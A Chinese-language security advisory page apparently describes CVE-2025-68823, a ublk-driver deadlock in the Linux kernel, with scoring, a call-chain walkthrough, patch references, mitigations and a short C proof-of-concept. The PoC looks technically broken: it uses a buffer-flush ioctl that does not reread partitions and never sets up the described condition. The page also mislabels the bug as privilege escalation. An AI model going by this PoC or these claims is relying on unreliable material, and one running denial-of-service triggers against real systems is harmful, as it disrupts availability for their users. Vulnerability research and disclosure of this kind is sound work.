IPBUF安全漏洞报告
English
CVE-2025-68823 CVSS 5.5 中危

CVE-2025-68823: Linux内核ublk驱动读取分区表时死锁漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-68823
漏洞类型
死锁(Deadlock)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel ublk驱动

相关标签

Linux内核死锁本地提权拒绝服务块设备驱动ublk内核漏洞互斥锁CVSS 5.5MEDIUM

漏洞概述

CVE-2025-68823是Linux内核中ublk(userspace block device)驱动的死锁漏洞。当进程(如udev)打开ublk块设备读取分区表时,由于内核互斥锁的不当使用,导致同一任务在持有锁的情况下等待该锁,形成死锁。该漏洞影响内核的块设备子系统,可导致系统资源耗尽和拒绝服务。攻击者需要本地访问权限,且需要低权限即可触发漏洞。此漏洞的CVSS评分为5.5,属于中等严重级别,对系统可用性造成较高影响。

技术细节

漏洞发生在Linux内核的ublk驱动中,具体为读取分区表时的竞态条件导致的死锁。攻击链如下:1) 进程通过bdev_open()打开ublk块设备,系统获取disk->open_mutex互斥锁;2) 进程向ublk后端发起读I/O请求以读取分区表;3) 在__ublk_complete_rq()中执行blk_update_request()或blk_mq_end_request(),触发bio->bi_end_io()回调;4) 如果此时触发fput()关闭ublk块设备的文件描述符,相关工作会被延迟到当前任务的task work队列;5) 这会从同一上下文调用blkdev_release();6) blkdev_release()尝试再次获取disk->open_mutex;7) 形成死锁:同一任务等待已持有的互斥锁。修复方案是在执行blk_update_request()和blk_mq_end_request()时禁用底半部(bottom halves),使blkdev_release()能在内核工作队列上下文而非当前任务上下文中运行,从而打破死锁。

攻击链分析

STEP 1
步骤1
进程通过bdev_open()调用打开ublk块设备,内核获取disk->open_mutex互斥锁
STEP 2
步骤2
进程向ublk后端发起读I/O请求,用于读取分区表数据
STEP 3
步骤3
在__ublk_complete_rq()函数中执行blk_update_request()或blk_mq_end_request(),触发bio->bi_end_io()回调
STEP 4
步骤4
如果回调触发fput()关闭ublk块设备的文件描述符,相关工作会被延迟到当前任务的task work队列
STEP 5
步骤5
task work执行时从同一上下文调用blkdev_release()
STEP 6
步骤6
blkdev_release()尝试再次获取disk->open_mutex,但该锁已被当前任务持有
STEP 7
步骤7
形成死锁:同一任务在持有互斥锁的情况下等待该锁,导致系统hang住或资源耗尽

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68823 PoC - ublk deadlock trigger // This PoC demonstrates the deadlock condition when reading partition table #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> int main(int argc, char *argv[]) { const char *device = argv[1] ? argv[1] : "/dev/ublkb0"; printf("Opening ublk device: %s\n", device); // Open the ublk block device int fd = open(device, O_RDONLY); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Attempting to read partition table...\n"); // Issue BLKFLSBUF or similar ioctl to trigger partition table read // This will cause bdev_open() -> read I/O -> __ublk_complete_rq() -> fput() -> deadlock // Try to trigger the deadlock by forcing partition table read if (ioctl(fd, BLKFLSBUF, 0) < 0) { // Expected to hang or fail due to deadlock perror("Ioctl failed - possible deadlock condition"); } // If we reach here, close the device close(fd); return 0; } // Compile: gcc -o ublk_deadlock_poc ublk_deadlock.c // Run: sudo ./ublk_deadlock_poc /dev/ublkb0 // Note: Requires ublk driver loaded and a configured ublk device

影响范围

Linux Kernel ublk驱动(具体版本需参考kernel.org稳定版补丁)
受影响的稳定内核版本包括:5.15+ 到 6.x 系列
相关补丁:0460e09a614291f06c008443f47393c37b7358e7
相关补丁:64c0b7e2293757e8320f13434cd809f1c9257a62
相关补丁:9bcc47343ee0ef346aa7b2b460c8ff56bd882fe7
相关补丁:c258f5c4502c9667bccf5d76fa731ab9c96687c1

防御指南

临时缓解措施
临时缓解措施:1) 如果业务不需要ublk功能,可在内核配置中禁用CONFIG_BLK_DEV_UBLK;2) 限制对ublk块设备的访问权限,确保只有必要的管理进程(如udev)能访问;3) 使用SELinux或AppArmor等强制访问控制机制限制ublk设备操作;4) 在udev规则中限制并发打开ublk设备的数量;5) 监控系统中blkdev_release()相关调用,及时发现死锁情况。长期解决方案是等待上游内核发布包含修复补丁的稳定版本并及时更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表